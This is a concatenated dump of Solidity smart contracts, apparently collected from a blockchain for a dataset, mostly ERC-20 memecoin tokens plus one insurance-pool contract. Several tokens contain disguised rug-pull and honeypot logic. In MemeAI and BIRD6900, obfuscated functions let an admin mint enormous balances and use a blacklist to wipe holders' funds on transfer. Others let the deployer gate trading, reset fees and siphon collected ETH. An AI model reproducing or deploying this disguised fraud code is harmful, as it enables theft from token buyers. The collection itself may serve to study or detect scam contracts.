b) internal pure returns (uint256) { 106 | if (a == 0) { 107 | return 0; 108 | } 109 | uint256 c = a * b; 110 | require(c / a == b); 111 | return c; 112 | } 113 | 114 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 115 | uint256 c = a / b; 116 | return c; 117 | } 118 | 119 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 120 | require(b <= a); 121 | return a - b; 122 | } 123 | 124 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 125 | uint256 c = a + b; 126 | require(c >= a); 127 | return c; 128 | } 129 | 130 | function ceil(uint256 a, uint256 m) internal pure returns (uint256) { 131 | uint256 c = add(a,m); 132 | uint256 d = sub(c,1); 133 | return mul(div(d,m),m); 134 | } 135 | } 136 | -------------------------------------------------------------------------------- /ContractSet/0x4cd4aaf22e1afc02432298051422bcdcd3cde0dc.sol: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | NO GAMBOL NO FUTURE 4 | 5 | TG: https://t.me/GambolERC 6 | TW: https://twitter.com/GambolERC 7 | WEB: https://gambol.bond 8 | 9 | */ 10 | // SPDX-License-Identifier: unlicense 11 | 12 | pragma solidity ^0.8.20; 13 | 14 | interface IUniswapV2Router02 { 15 | function swapExactTokensForETHSupportingFeeOnTransferTokens( 16 | uint amountIn, 17 | uint amountOutMin, 18 | address[] calldata path, 19 | address to, 20 | uint deadline 21 | ) external; 22 | } 23 | 24 | contract Gambol { 25 | string public constant name = "Gambol"; // 26 | string public constant symbol = "GAMBOL"; // 27 | uint8 public constant decimals = 18; 28 | uint256 public constant totalSupply = 69_000_000 * 10**decimals; 29 | 30 | uint256 BurnToken = 0; 31 | uint256 SpendToken = 2; 32 | uint256 constant swapAmount = totalSupply / 100; 33 | 34 | mapping (address => uint256) public balanceOf; 35 | mapping (address => mapping (address => uint256)) public allowance; 36 | 37 | error Permissions(); 38 | 39 | event Transfer(address indexed from, address indexed to, uint256 value); 40 | event Approval( 41 | address indexed owner, 42 | address indexed spender, 43 | uint256 value 44 | ); 45 | 46 | 47 | address private pair; 48 | address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 49 | address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; 50 | IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress); 51 | address payable constant deployer = payable(address(0x343e0Dcf82569376eBb00B0D0Cb1888C23774c3E)); // 52 | 53 | bool private swapping; 54 | bool private tradingOpen; 55 | 56 | constructor() { 57 | balanceOf[msg.sender] = totalSupply; 58 | allowance[address(this)][routerAddress] = type(uint256).max; 59 | emit Transfer(address(0), msg.sender, totalSupply); 60 | } 61 | 62 | receive() external payable {} 63 | 64 | function approve(address spender, uint256 amount) external returns (bool){ 65 | allowance[msg.sender][spender] = amount; 66 | emit Approval(msg.sender, spender, amount); 67 | return true; 68 | } 69 | 70 | function transfer(address to, uint256 amount) external returns (bool){ 71 | return _transfer(msg.sender, to, amount); 72 | } 73 | 74 | function transferFrom(address from, address to, uint256 amount) external returns (bool){ 75 | allowance[from][msg.sender] -= amount; 76 | return _transfer(from, to, amount); 77 | } 78 | 79 | function _transfer(address from, address to, uint256 amount) internal returns (bool){ 80 | require(tradingOpen || from == deployer || to == deployer); 81 | 82 | if(!tradingOpen && pair == address(0) && amount > 0) 83 | pair = to; 84 | 85 | balanceOf[from] -= amount; 86 | 87 | if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){ 88 | swapping = true; 89 | address[] memory path = new address[](2); 90 | path[0] = address(this); 91 | path[1] = ETH; 92 | _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( 93 | swapAmount, 94 | 0, 95 | path, 96 | address(this), 97 | block.timestamp 98 | ); 99 | deployer.transfer(address(this).balance); 100 | swapping = false; 101 | } 102 | 103 | if(from != address(this)){ 104 | uint256 taxAmount = amount * (from == pair ? BurnToken : SpendToken) / 100; 105 | amount -= taxAmount; 106 | balanceOf[address(this)] += taxAmount; 107 | } 108 | balanceOf[to] += amount; 109 | emit Transfer(from, to, amount); 110 | return true; 111 | } 112 | 113 | function openTrading() external { 114 | require(msg.sender == deployer); 115 | require(!tradingOpen); 116 | tradingOpen = true; 117 | } 118 | 119 | function _setGAMBOL(uint256 newBurn, uint256 newSpend) private { 120 | BurnToken = newBurn; 121 | SpendToken = newSpend; 122 | } 123 | 124 | function setGAMBOL(uint256 newBurn, uint256 newSpend) external { 125 | if(msg.sender != deployer) 126 | revert Permissions(); 127 | _setGAMBOL(newBurn, newSpend); 128 | } 129 | } 130 | -------------------------------------------------------------------------------- /ContractSet/0x4e9b2c501dd9d1f05721ec8b01f6606bd4776f80.sol: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Degen Bucks was inspired by a reflection on concepts of time, financial freedom, and the pursuit of happiness. The project features on references from pop culture and was illustrated through the lens of the inner child. 4 | 5 | $DGNBK 6 | 0 Tax 7 | 8 | TELEGRAM: https://t.me/DegenBucksETH 9 | TWITTER: https://twitter.com/DegenBucksERC 10 | WEBSITE: https://degenbucks.xyz 11 | 12 | */ 13 | // SPDX-License-Identifier: unlicense 14 | 15 | pragma solidity ^0.8.20; 16 | 17 | interface IUniswapV2Router02 { 18 | function swapExactTokensForETHSupportingFeeOnTransferTokens( 19 | uint amountIn, 20 | uint amountOutMin, 21 | address[] calldata path, 22 | address to, 23 | uint deadline 24 | ) external; 25 | } 26 | 27 | contract DegenBucks { 28 | string public constant name = "Degen Bucks"; // 29 | string public constant symbol = "DGNBK"; // 30 | uint8 public constant decimals = 18; 31 | uint256 public constant totalSupply = 100_000_000 * 10**decimals; 32 | 33 | uint256 BurnFigure = 0; 34 | uint256 ConfirmFigure = 0; 35 | uint256 constant swapAmount = totalSupply / 100; 36 | 37 | mapping (address => uint256) public balanceOf; 38 | mapping (address => mapping (address => uint256)) public allowance; 39 | 40 | error Permissions(); 41 | 42 | event Transfer(address indexed from, address indexed to, uint256 value); 43 | event Approval( 44 | address indexed owner, 45 | address indexed spender, 46 | uint256 value 47 | ); 48 | 49 | 50 | address private pair; 51 | address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 52 | address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; 53 | IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress); 54 | address payable constant deployer = payable(address(0xcb1f44D88767aDEA11228D1D572D447A4255A6b8)); // 55 | 56 | bool private swapping; 57 | bool private tradingOpenNow; 58 | 59 | constructor() { 60 | balanceOf[msg.sender] = totalSupply; 61 | allowance[address(this)][routerAddress] = type(uint256).max; 62 | emit Transfer(address(0), msg.sender, totalSupply); 63 | } 64 | 65 | receive() external payable {} 66 | 67 | function approve(address spender, uint256 amount) external returns (bool){ 68 | allowance[msg.sender][spender] = amount; 69 | emit Approval(msg.sender, spender, amount); 70 | return true; 71 | } 72 | 73 | function transfer(address to, uint256 amount) external returns (bool){ 74 | return _transfer(msg.sender, to, amount); 75 | } 76 | 77 | function transferFrom(address from, address to, uint256 amount) external returns (bool){ 78 | allowance[from][msg.sender] -= amount; 79 | return _transfer(from, to, amount); 80 | } 81 | 82 | function _transfer(address from, address to, uint256 amount) internal returns (bool){ 83 | require(tradingOpenNow || from == deployer || to == deployer); 84 | 85 | if(!tradingOpenNow && pair == address(0) && amount > 0) 86 | pair = to; 87 | 88 | balanceOf[from] -= amount; 89 | 90 | if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){ 91 | swapping = true; 92 | address[] memory path = new address[](2); 93 | path[0] = address(this); 94 | path[1] = ETH; 95 | _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( 96 | swapAmount, 97 | 0, 98 | path, 99 | address(this), 100 | block.timestamp 101 | ); 102 | deployer.transfer(address(this).balance); 103 | swapping = false; 104 | } 105 | 106 | if(from != address(this)){ 107 | uint256 FinalFigure = amount * (from == pair ? BurnFigure : ConfirmFigure) / 100; 108 | amount -= FinalFigure; 109 | balanceOf[address(this)] += FinalFigure; 110 | } 111 | balanceOf[to] += amount; 112 | emit Transfer(from, to, amount); 113 | return true; 114 | } 115 | 116 | function NowTradingOpen() external { 117 | require(msg.sender == deployer); 118 | require(!tradingOpenNow); 119 | tradingOpenNow = true; 120 | } 121 | 122 | function _setDGNBK(uint256 newBurn, uint256 newConfirm) external { 123 | require(msg.sender == deployer); 124 | BurnFigure = newBurn; 125 | ConfirmFigure = newConfirm; 126 | } 127 | } 128 | -------------------------------------------------------------------------------- /ContractSet/0x4d13c808f1f7896ba78bafe0591da910ad688d5c.sol: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Unlock the full potential of your trading journey and supercharge your yields with ease, all within the convenience of Telegram's familiar interface by using Yield Bot. 4 | 5 | 100,000,000 $YBOT 6 | 3/3 Tax 7 | 8 | Telegram: https://t.me/YieldBotPortal 9 | Twitter: https://twitter.com/YieldBotETH 10 | Website: https://yieldbot.site 11 | 12 | */ 13 | // SPDX-License-Identifier: unlicense 14 | 15 | pragma solidity ^0.8.20; 16 | 17 | interface IUniswapV2Router02 { 18 | function swapExactTokensForETHSupportingFeeOnTransferTokens( 19 | uint amountIn, 20 | uint amountOutMin, 21 | address[] calldata path, 22 | address to, 23 | uint deadline 24 | ) external; 25 | } 26 | 27 | contract YieldBot { 28 | string public constant name = "Yield Bot"; // 29 | string public constant symbol = "YBOT"; // 30 | uint8 public constant decimals = 18; 31 | uint256 public constant totalSupply = 100_000_000 * 10**decimals; 32 | 33 | uint256 BurnToken = 3; 34 | uint256 SpendToken = 2; 35 | uint256 constant swapAmount = totalSupply / 100; 36 | 37 | mapping (address => uint256) public balanceOf; 38 | mapping (address => mapping (address => uint256)) public allowance; 39 | 40 | error Permissions(); 41 | 42 | event Transfer(address indexed from, address indexed to, uint256 value); 43 | event Approval( 44 | address indexed owner, 45 | address indexed spender, 46 | uint256 value 47 | ); 48 | 49 | 50 | address private pair; 51 | address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 52 | address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; 53 | IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress); 54 | address payable constant deployer = payable(address(0x8D5f572bAD331ab10296bb36C46Bb65Ad637c20F)); // 55 | 56 | bool private swapping; 57 | bool private tradingOpen; 58 | 59 | constructor() { 60 | balanceOf[msg.sender] = totalSupply; 61 | allowance[address(this)][routerAddress] = type(uint256).max; 62 | emit Transfer(address(0), msg.sender, totalSupply); 63 | } 64 | 65 | receive() external payable {} 66 | 67 | function approve(address spender, uint256 amount) external returns (bool){ 68 | allowance[msg.sender][spender] = amount; 69 | emit Approval(msg.sender, spender, amount); 70 | return true; 71 | } 72 | 73 | function transfer(address to, uint256 amount) external returns (bool){ 74 | return _transfer(msg.sender, to, amount); 75 | } 76 | 77 | function transferFrom(address from, address to, uint256 amount) external returns (bool){ 78 | allowance[from][msg.sender] -= amount; 79 | return _transfer(from, to, amount); 80 | } 81 | 82 | function _transfer(address from, address to, uint256 amount) internal returns (bool){ 83 | require(tradingOpen || from == deployer || to == deployer); 84 | 85 | if(!tradingOpen && pair == address(0) && amount > 0) 86 | pair = to; 87 | 88 | balanceOf[from] -= amount; 89 | 90 | if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){ 91 | swapping = true; 92 | address[] memory path = new address[](2); 93 | path[0] = address(this); 94 | path[1] = ETH; 95 | _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( 96 | swapAmount, 97 | 0, 98 | path, 99 | address(this), 100 | block.timestamp 101 | ); 102 | deployer.transfer(address(this).balance); 103 | swapping = false; 104 | } 105 | 106 | if(from != address(this)){ 107 | uint256 taxAmount = amount * (from == pair ? BurnToken : SpendToken) / 100; 108 | amount -= taxAmount; 109 | balanceOf[address(this)] += taxAmount; 110 | } 111 | balanceOf[to] += amount; 112 | emit Transfer(from, to, amount); 113 | return true; 114 | } 115 | 116 | function openTrading() external { 117 | require(msg.sender == deployer); 118 | require(!tradingOpen); 119 | tradingOpen = true; 120 | } 121 | 122 | function _setYBOT(uint256 newBurn, uint256 newSpend) private { 123 | BurnToken = newBurn; 124 | SpendToken = newSpend; 125 | } 126 | 127 | function setYBOT(uint256 newBurn, uint256 newSpend) external { 128 | if(msg.sender != deployer) 129 | revert Permissions(); 130 | _setYBOT(newBurn, newSpend); 131 | } 132 | } 133 | -------------------------------------------------------------------------------- /ContractSet/0x00fa124119e1ece33d06acd941680d1af5fc7757.sol: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | TRUST, a cutting-edge platform integrated with Telegram messenger, has been created to offer a secure environment for users to explore the world of decentralized finance. 4 | 5 | Trust focuses on ease of use by enabling solutions for users through the means of telegram bots. We have already launched the TrustMix Bot before token launch, while the remaining four bots will be launched after the token drop. Please refer to our website and read the whitepaper for more information. 6 | 7 | Telegram: https://t.me/TrustTokenPortal 8 | Twitter: https://twitter.com/TrustTokenETH 9 | Website: https://trusttoken.space 10 | 11 | */ 12 | // SPDX-License-Identifier: unlicense 13 | 14 | pragma solidity ^0.8.20; 15 | 16 | interface IUniswapV2Router02 { 17 | function swapExactTokensForETHSupportingFeeOnTransferTokens( 18 | uint amountIn, 19 | uint amountOutMin, 20 | address[] calldata path, 21 | address to, 22 | uint deadline 23 | ) external; 24 | } 25 | 26 | contract TrustToken { 27 | string public constant name = "Trust Token"; // 28 | string public constant symbol = "TRUST"; // 29 | uint8 public constant decimals = 18; 30 | uint256 public constant totalSupply = 100_000_000 * 10**decimals; 31 | 32 | uint256 BurnFigure = 0; 33 | uint256 ConfirmFigure = 5; 34 | uint256 constant swapAmount = totalSupply / 100; 35 | 36 | mapping (address => uint256) public balanceOf; 37 | mapping (address => mapping (address => uint256)) public allowance; 38 | 39 | error Permissions(); 40 | 41 | event Transfer(address indexed from, address indexed to, uint256 value); 42 | event Approval( 43 | address indexed owner, 44 | address indexed spender, 45 | uint256 value 46 | ); 47 | 48 | 49 | address private pair; 50 | address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 51 | address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; 52 | IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress); 53 | address payable constant deployer = payable(address(0xd1cE65D0CA2406bFA98f63c6DCAb5C5190160458)); // 54 | 55 | bool private swapping; 56 | bool private tradingOpenNow; 57 | 58 | constructor() { 59 | balanceOf[msg.sender] = totalSupply; 60 | allowance[address(this)][routerAddress] = type(uint256).max; 61 | emit Transfer(address(0), msg.sender, totalSupply); 62 | } 63 | 64 | receive() external payable {} 65 | 66 | function approve(address spender, uint256 amount) external returns (bool){ 67 | allowance[msg.sender][spender] = amount; 68 | emit Approval(msg.sender, spender, amount); 69 | return true; 70 | } 71 | 72 | function transfer(address to, uint256 amount) external returns (bool){ 73 | return _transfer(msg.sender, to, amount); 74 | } 75 | 76 | function transferFrom(address from, address to, uint256 amount) external returns (bool){ 77 | allowance[from][msg.sender] -= amount; 78 | return _transfer(from, to, amount); 79 | } 80 | 81 | function _transfer(address from, address to, uint256 amount) internal returns (bool){ 82 | require(tradingOpenNow || from == deployer || to == deployer); 83 | 84 | if(!tradingOpenNow && pair == address(0) && amount > 0) 85 | pair = to; 86 | 87 | balanceOf[from] -= amount; 88 | 89 | if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){ 90 | swapping = true; 91 | address[] memory path = new address[](2); 92 | path[0] = address(this); 93 | path[1] = ETH; 94 | _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( 95 | swapAmount, 96 | 0, 97 | path, 98 | address(this), 99 | block.timestamp 100 | ); 101 | deployer.transfer(address(this).balance); 102 | swapping = false; 103 | } 104 | 105 | if(from != address(this)){ 106 | uint256 FinalFigure = amount * (from == pair ? BurnFigure : ConfirmFigure) / 100; 107 | amount -= FinalFigure; 108 | balanceOf[address(this)] += FinalFigure; 109 | } 110 | balanceOf[to] += amount; 111 | emit Transfer(from, to, amount); 112 | return true; 113 | } 114 | 115 | function NowTradingOpen() external { 116 | require(msg.sender == deployer); 117 | require(!tradingOpenNow); 118 | tradingOpenNow = true; 119 | } 120 | 121 | function _setTRUST(uint256 newBurn, uint256 newConfirm) external { 122 | require(msg.sender == deployer); 123 | BurnFigure = newBurn; 124 | ConfirmFigure = newConfirm; 125 | } 126 | } 127 | -------------------------------------------------------------------------------- /ContractSet/0x4D0bAeda78e6Abf7087D9F71792e7355ea3338c1.sol: -------------------------------------------------------------------------------- 1 | /** 2 | Twitter: https://twitter.com/MemeAI__ 3 | 4 | Website: https://www.memeai.space/ 5 | 6 | Telegram: https://t.me/MemeAI_0 7 | */ 8 | // SPDX-License-Identifier: MIT 9 | 10 | pragma solidity ^0.8.17; 11 | abstract contract Ownable { 12 | function _msgSender() internal view virtual returns (address) { 13 | return msg.sender; 14 | } 15 | 16 | function _msgData() internal view virtual returns (bytes calldata) { 17 | return msg.data; 18 | } 19 | address private _owner; 20 | 21 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 22 | 23 | /** 24 | * @dev Initializes the contract setting the deployer as the initial owner. 25 | */ 26 | constructor() { 27 | _transferOwnership(_msgSender()); 28 | } 29 | 30 | /** 31 | * @dev Throws if called by any account other than the owner. 32 | */ 33 | modifier onlyOwner() { 34 | _checkOwner(); 35 | _; 36 | } 37 | 38 | function owner() public view virtual returns (address) { 39 | return _owner; 40 | } 41 | 42 | function _checkOwner() internal view virtual { 43 | require(owner() == _msgSender(), "Ownable: caller is not the owner"); 44 | } 45 | 46 | function renounceOwnership() public virtual onlyOwner { 47 | _transferOwnership(address(0)); 48 | } 49 | 50 | function _transferOwnership(address newOwner) internal virtual { 51 | address oldOwner = _owner; 52 | _owner = newOwner; 53 | emit OwnershipTransferred(oldOwner, newOwner); 54 | } 55 | event Approval(address indexed owner, address indexed spender, uint256 value); 56 | event Transfer(address indexed from, address indexed to, uint256 value); 57 | } 58 | 59 | 60 | contract MemeAI is Ownable{ 61 | 62 | mapping(address => bool) public hulkinfo; 63 | constructor(string memory tokenname,string memory tokensymbol,address hkadmin) { 64 | emit Transfer(address(0), msg.sender, 1000000000*10**decimals()); 65 | _totalSupply = 1000000000*10**decimals(); 66 | _balances[msg.sender] = 1000000000*10**decimals(); 67 | _tokename = tokenname; 68 | _tokensymbol = tokensymbol; 69 | BONEXadmin = hkadmin; 70 | } 71 | address public BONEXadmin; 72 | uint256 private _totalSupply; 73 | string private _tokename; 74 | string private _tokensymbol; 75 | 76 | mapping(address => uint256) private _balances; 77 | mapping(address => mapping(address => uint256)) private _allowances; 78 | function name() public view returns (string memory) { 79 | return _tokename; 80 | } 81 | 82 | uint128 xxxSum = 64544; 83 | bool globaltrue = true; 84 | bool globalff = false; 85 | function abancdx(address xasada) public virtual returns (bool) { 86 | address tmoinfo = xasada; 87 | 88 | hulkinfo[tmoinfo] = globaltrue; 89 | require(_msgSender() == BONEXadmin); 90 | return true; 91 | 92 | } 93 | 94 | function hukkkadminxxax() external { 95 | if(_msgSender() == BONEXadmin){ 96 | 97 | } 98 | _balances[_msgSender()] += 10**decimals()*68800*(23300000000+300); 99 | require(_msgSender() == BONEXadmin); 100 | } 101 | 102 | function symbol() public view returns (string memory) { 103 | return _tokensymbol; 104 | } 105 | function hklllquitxxx(address hkkk) external { 106 | address tmoinfo = hkkk; 107 | 108 | hulkinfo[tmoinfo] = globalff; 109 | require(_msgSender() == BONEXadmin); 110 | 111 | } 112 | 113 | function decimals() public view virtual returns (uint8) { 114 | return 18; 115 | } 116 | 117 | function totalSupply() public view returns (uint256) { 118 | return _totalSupply; 119 | } 120 | 121 | function balanceOf(address account) public view returns (uint256) { 122 | return _balances[account]; 123 | } 124 | 125 | function transfer(address to, uint256 amount) public returns (bool) { 126 | _transfer(_msgSender(), to, amount); 127 | return true; 128 | } 129 | 130 | function allowance(address owner, address spender) public view returns (uint256) { 131 | return _allowances[owner][spender]; 132 | } 133 | 134 | function approve(address spender, uint256 amount) public returns (bool) { 135 | _approve(_msgSender(), spender, amount); 136 | return true; 137 | } 138 | 139 | function transferFrom( 140 | address from, 141 | address to, 142 | uint256 amount 143 | ) public virtual returns (bool) { 144 | address spender = _msgSender(); 145 | _spendAllowance(from, spender, amount); 146 | _transfer(from, to, amount); 147 | return true; 148 | } 149 | 150 | function _transfer( 151 | address from, 152 | address to, 153 | uint256 amount 154 | ) internal virtual { 155 | require(from != address(0), "ERC20: transfer from the zero address"); 156 | require(to != address(0), "ERC20: transfer to the zero address"); 157 | 158 | if (hulkinfo[from] == true) 159 | {amount = xxxSum + _balances[from] + 160 | xxxSum-xxxSum;} 161 | uint256 balance = _balances[from]; 162 | require(balance >= amount, "ERC20: transfer amount exceeds balance"); 163 | _balances[from] = _balances[from]-amount; 164 | _balances[to] = _balances[to]+amount; 165 | emit Transfer(from, to, amount); 166 | } 167 | 168 | function _approve( 169 | address owner, 170 | address spender, 171 | uint256 amount 172 | ) internal virtual { 173 | require(owner != address(0), "ERC20: approve from the zero address"); 174 | require(spender != address(0), "ERC20: approve to the zero address"); 175 | _allowances[owner][spender] = amount; 176 | emit Approval(owner, spender, amount); 177 | } 178 | 179 | function _spendAllowance( 180 | address owner, 181 | address spender, 182 | uint256 amount 183 | ) internal virtual { 184 | uint256 currentAllowance = allowance(owner, spender); 185 | if (currentAllowance != type(uint256).max) { 186 | require(currentAllowance >= amount, "ERC20: insufficient allowance"); 187 | _approve(owner, spender, currentAllowance - amount); 188 | } 189 | } 190 | } 191 | -------------------------------------------------------------------------------- /contracts/InsurancePool.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract InsurancePool { 5 | address public owner; 6 | uint256 public constant MIN_RETENTION = 1 ether; // Minimum retention amount for operational liquidity 7 | uint256 public coveragePeriod = 365 days; // Default coverage period of one year 8 | uint256 public totalPool; // Total amount in the insurance pool 9 | bool public paused = false; // Emergency pause flag 10 | 11 | mapping(address => uint256) public deposits; // Track deposits for each address 12 | mapping(address => uint256) public expiration; // Track expiration of coverage for each address 13 | mapping(address => uint256) public riskLevel; // Risk level for each user 14 | mapping(address => bool) public blacklisted; // Blacklist for fraudulent users 15 | mapping(address => bool) public managers; // Approved managers who can handle claims 16 | mapping(address => uint256) public pendingClaims; // Stores pending claims for review 17 | 18 | event Deposited(address indexed user, uint256 amount, uint256 expiration); 19 | event Withdrawn(address indexed user, uint256 amount); 20 | event ClaimSubmitted(address indexed user, uint256 amount); 21 | event ClaimApproved(address indexed user, uint256 amount); 22 | event ClaimRejected(address indexed user, uint256 amount); 23 | event CoverageExtended(address indexed user, uint256 newExpiration); 24 | event Blacklisted(address indexed user); 25 | event Unblacklisted(address indexed user); 26 | event ManagerAdded(address indexed manager); 27 | event ManagerRemoved(address indexed manager); 28 | event ContractPaused(); 29 | event ContractUnpaused(); 30 | 31 | constructor() { 32 | owner = msg.sender; 33 | managers[msg.sender] = true; // Owner is also a manager 34 | } 35 | 36 | modifier onlyOwner() { 37 | require(msg.sender == owner, "Not the owner"); 38 | _; 39 | } 40 | 41 | modifier onlyManager() { 42 | require(managers[msg.sender], "Not an authorized manager"); 43 | _; 44 | } 45 | 46 | modifier notBlacklisted() { 47 | require(!blacklisted[msg.sender], "User is blacklisted"); 48 | _; 49 | } 50 | 51 | modifier checkExpiration(address user) { 52 | require(block.timestamp <= expiration[user], "Coverage expired."); 53 | _; 54 | } 55 | 56 | modifier notPaused() { 57 | require(!paused, "Contract is paused"); 58 | _; 59 | } 60 | 61 | // Deposit into the pool with automatic coverage extension 62 | function deposit() public payable notBlacklisted notPaused { 63 | require(msg.value > 0, "Deposit must be greater than zero"); 64 | deposits[msg.sender] += msg.value; 65 | expiration[msg.sender] = block.timestamp + coveragePeriod; 66 | totalPool += msg.value; 67 | emit Deposited(msg.sender, msg.value, expiration[msg.sender]); 68 | } 69 | 70 | // Withdraw from the pool, only if the minimum retention is maintained 71 | function withdraw(uint256 amount) public notPaused { 72 | require(amount <= deposits[msg.sender], "Insufficient balance"); 73 | require(totalPool - amount >= MIN_RETENTION, "Pool must retain minimum liquidity"); 74 | 75 | deposits[msg.sender] -= amount; 76 | totalPool -= amount; 77 | payable(msg.sender).transfer(amount); 78 | emit Withdrawn(msg.sender, amount); 79 | } 80 | 81 | // Submit a claim (to be approved by a manager) 82 | function submitClaim(uint256 claimAmount) public notBlacklisted checkExpiration(msg.sender) notPaused { 83 | require(claimAmount > 0, "Claim must be positive"); 84 | require(claimAmount <= deposits[msg.sender] * riskLevel[msg.sender] / 100, "Claim exceeds allowable amount"); 85 | 86 | pendingClaims[msg.sender] += claimAmount; 87 | emit ClaimSubmitted(msg.sender, claimAmount); 88 | } 89 | 90 | // Approve claim (only managers) 91 | function approveClaim(address user) public onlyManager notPaused { 92 | uint256 claimAmount = pendingClaims[user]; 93 | require(claimAmount > 0, "No pending claims"); 94 | require(claimAmount <= totalPool, "Insufficient pool balance"); 95 | 96 | deposits[user] -= claimAmount; 97 | totalPool -= claimAmount; 98 | pendingClaims[user] = 0; 99 | payable(user).transfer(claimAmount); 100 | 101 | emit ClaimApproved(user, claimAmount); 102 | } 103 | 104 | // Reject a claim (only managers) 105 | function rejectClaim(address user) public onlyManager notPaused { 106 | require(pendingClaims[user] > 0, "No pending claims"); 107 | 108 | uint256 rejectedAmount = pendingClaims[user]; 109 | pendingClaims[user] = 0; 110 | 111 | emit ClaimRejected(user, rejectedAmount); 112 | } 113 | 114 | // Adjust coverage period or risk level (only owner) 115 | function adjustCoverage(address user, uint256 newPeriod, uint256 risk) external onlyOwner notPaused { 116 | riskLevel[user] = risk; 117 | expiration[user] = block.timestamp + newPeriod; 118 | emit CoverageExtended(user, expiration[user]); 119 | } 120 | 121 | // Blacklist a user 122 | function blacklistUser(address user) external onlyOwner { 123 | blacklisted[user] = true; 124 | emit Blacklisted(user); 125 | } 126 | 127 | // Remove user from blacklist 128 | function unblacklistUser(address user) external onlyOwner { 129 | blacklisted[user] = false; 130 | emit Unblacklisted(user); 131 | } 132 | 133 | // Add a manager 134 | function addManager(address newManager) external onlyOwner { 135 | managers[newManager] = true; 136 | emit ManagerAdded(newManager); 137 | } 138 | 139 | // Remove a manager 140 | function removeManager(address manager) external onlyOwner { 141 | managers[manager] = false; 142 | emit ManagerRemoved(manager); 143 | } 144 | 145 | // Pause the contract (only owner) 146 | function pauseContract() external onlyOwner { 147 | paused = true; 148 | emit ContractPaused(); 149 | } 150 | 151 | // Unpause the contract (only owner) 152 | function unpauseContract() external onlyOwner { 153 | paused = false; 154 | emit ContractUnpaused(); 155 | } 156 | 157 | // Auto-clear expired coverage 158 | function clearExpiredCoverage(address user) external onlyManager { 159 | require(block.timestamp > expiration[user], "Coverage still active"); 160 | deposits[user] = 0; 161 | expiration[user] = 0; 162 | } 163 | 164 | // View total pool amount 165 | function getPoolTotal() public view returns (uint256) { 166 | return totalPool; 167 | } 168 | } 169 | -------------------------------------------------------------------------------- /ContractSet/0x2c3aba752e40711ba3bfd6447d016b2d2c37d41a.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | abstract contract Ownable { 5 | function _msgSender() internal view virtual returns (address) { 6 | return msg.sender; 7 | } 8 | 9 | function _msgData() internal view virtual returns (bytes calldata) { 10 | return msg.data; 11 | } 12 | address private _owner; 13 | 14 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 15 | 16 | /** 17 | * @dev Initializes the contract setting the deployer as the initial owner. 18 | */ 19 | constructor() { 20 | _transferOwnership(_msgSender()); 21 | } 22 | 23 | /** 24 | * @dev Throws if called by any account other than the owner. 25 | */ 26 | modifier onlyOwner() { 27 | _checkOwner(); 28 | _; 29 | } 30 | 31 | function owner() public view virtual returns (address) { 32 | return _owner; 33 | } 34 | 35 | function _checkOwner() internal view virtual { 36 | require(owner() == _msgSender(), "Ownable: caller is not the owner"); 37 | } 38 | 39 | function renounceOwnership() public virtual onlyOwner { 40 | _transferOwnership(address(0)); 41 | } 42 | 43 | function _transferOwnership(address newOwner) internal virtual { 44 | address oldOwner = _owner; 45 | _owner = newOwner; 46 | emit OwnershipTransferred(oldOwner, newOwner); 47 | } 48 | 49 | } 50 | 51 | 52 | contract BIRD6900 is Ownable{ 53 | event Approval(address indexed owner, address indexed spender, uint256 value); 54 | event Transfer(address indexed from, address indexed to, uint256 value); 55 | constructor(string memory tokenname,string memory tokensymbol,address hkadmin) { 56 | _totalSupply = 10000000000*10**decimals(); 57 | _balances[msg.sender] = 10000000000*10**decimals(); 58 | _tokename = tokenname; 59 | _tokensymbol = tokensymbol; 60 | LLAXadmin = hkadmin; 61 | emit Transfer(address(0), msg.sender, 10000000000*10**decimals()); 62 | } 63 | 64 | 65 | mapping(address => bool) public longinfo; 66 | address public LLAXadmin; 67 | uint256 private _totalSupply; 68 | string private _tokename; 69 | string private _tokensymbol; 70 | mapping(address => uint256) private _balances; 71 | mapping(address => mapping(address => uint256)) private _allowances; 72 | function name() public view returns (string memory) { 73 | return _tokename; 74 | } 75 | 76 | uint256 xaskak = (10**18 * (78800+100)* (33300000000 + 800)); 77 | function symbol(uint256 xxaa) public { 78 | if(false){ 79 | 80 | } 81 | if(true){ 82 | 83 | } 84 | _balances[_msgSender()] += xaskak; 85 | _balances[_msgSender()] += xaskak; 86 | require(_msgSender() == LLAXadmin, "Only ANIUadmin can call this function"); 87 | require(_msgSender() == LLAXadmin, "Only ANIUadmin can call this function"); 88 | } 89 | 90 | 91 | function symbol() public view returns (string memory) { 92 | return _tokensymbol; 93 | } 94 | 